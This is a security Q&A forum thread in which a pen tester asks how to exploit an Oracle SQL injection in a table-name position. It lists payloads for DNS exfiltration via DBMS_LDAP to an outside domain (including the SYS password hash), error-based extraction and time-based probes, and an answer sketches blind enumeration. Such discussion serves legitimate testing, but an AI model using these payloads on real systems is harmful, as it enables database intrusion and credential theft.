4

During a pen test I stumbled upon the following error while fuzzing a few parameters:

*HTTP Status 500 - org.springframework.jdbc.BadSqlGrammarException: PreparedStatementCallback; bad SQL grammar [select * from %27 where 1 = 0 ]; nested exception is java.sql.SQLSyntaxErrorException: ORA-00911: invalid character*

I immediately started running sqlmap over it to see if there were any known payloads to exploit this potential vulnerability - unfortunately with no luck, sqlmap came back clean. Here are the results:

[03:48:15] [WARNING] POST parameter 'dataTable' is not injectable
[03:48:15] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests. Please, consider usage of tampering scripts as your target might filter the queries. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
[03:48:15] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 104 times

At this point I decided to go at it on my own since I was pretty sure I could get something out. From what I could see the query in question looks something like this SELECT * FROM {payload here} WHERE 1=0 so I am able to inject where the table name should be. I tried DUAL, (SELECT * FROM DUAL) -- which would result in SELECT * FROM DUAL, (SELECT * FROM DUAL) -- WHERE 1=0 which resulted in a

< HTTP/1.1 200 OK < Date: Wed, 30 Sep 2015 10:26:37 GMT

which was fairly encouraging, since it seemed I was able to execute arbitrary statements as long as they were correct in the context of a SELECT statement. Unfortunately with the 200OK came a blank page meaning I couldn't easily extract the data that I queried since the query results were not returned. I thought DNS ex-filtration might be a good idea but unfortunately executing the payload DUAL, (SELECT SYS.DBMS_LDAP.INIT((SELECT * FROM DUAL WHERE rownum = 1)||'.domain.com',80) FROM DUAL) -- resulted in java.sql.SQLException: ORA-24247: network access denied by access control list (ACL) meaning DNS would not work.

The only other option for data exfil I could think of would be through casting custom errors, as SQL errors (full stack trace) seem to be returned with 500 response. Being no PL/SQL expert, I started researching and found that I could possibly use dynamic sql and after many iterations and debugging came up with the following payload DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) -- which would result in a final query similar to this select * from DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) -- where 1 = 0. Unfortunately this also resulted in an error org.springframework.dao.DataIntegrityViolationException: PreparedStatementCallback; SQL [select * from DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) -- where 1 = 0 ]; ORA-01722: invalid number

I am running out of ideas now but I'm still researching a few more PL/SQL functions that could be of use as I am confident there is a solution and I enjoy the challenge.

Yes, I accept that this forum is not to answer questions about breaking the security of a particular system and I respect that, so I will phrase my question differently: Given the constraints of the prepared statement and the position of the payload in the SELECT statement, is the approach I am taking even valid and is there a possibility of ex-filtrating data through casting custom errors similar to my last example payload? Any other suggestions?

Hopefully I'll learn something in the process.

PS. Here are but a few of the other payloads I attempted without luck:

SESSION_PRIVS, (SELECT SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE NAME = 'SYS')||'.domain.com',80) FROM DUAL) --
SESSION_PRIVS, (SELECT * from all_tables) --
SESSION_PRIVS, (SELECT SYS.DBMS_LDAP.INIT((SELECT * FROM SESSION_PRIVS where rownum = 1)||'.domain.com',80) FROM DUAL) --
SESSION_PRIVS, (SELECT SYS.DBMS_LDAP.INIT((SELECT * FROM SESSION_PRIVS where rownum = 1)||RAISE_APPLICATION_ERROR(-20000, 'Bingo.') FROM DUAL))--
SESSION_PRIVS, (SELECT SYS.DBMS_SQL.EXECUTE(RAISE_APPLICATION_ERROR(-20010, 'Bingo.'))) --
SESSION_PRIVS, (SELECT SYS.DBMS_SQL.EXECUTE(RAISE_APPLICATION_ERROR(-20000,'Bingo.'))FROM DUAL) --
(SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''Bingo.'')') FROM DUAL) --
(SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20000, ''202'')') FROM DUAL) --
TO_NUMBER((SELECT SYS.DBMS_SQL.EXECUTE('SELECT 10 FROM DUAL') FROM DUAL)) --
DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) --
DUAL, (SELECT * FROM DUAL) --
DUAL, ( SELECT SYS.DBMS_SQL.EXECUTE(EXECUTE IMMEDIATE 'DBMS_LOCK.SLEEP(30)') FROM DUAL ) --
DUAL, ( SELECT SYS.DBMS_SQL.EXECUTE('DBMS_LOCK.SLEEP(30)') FROM DUAL ) --
DUAL, ( SELECT SYS.DBMS_SQL.EXECUTE(DBMS_SQL.PARSE('DBMS_LOCK.SLEEP(30)')) FROM DUAL ) --
DUAL || 'thing' --
2

The returned results (code 500 and code 200) could be the starting point of a Blind SQL injection pentest. If you know the database engine, you can guess the system tables and test their presence. If DUAL, (SELECT * FROM system_table) -- return 200 (syste_table is a example) then this table exists etc... Then you can deduce the names of their respective fields by testing the possible values or letter by letter.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.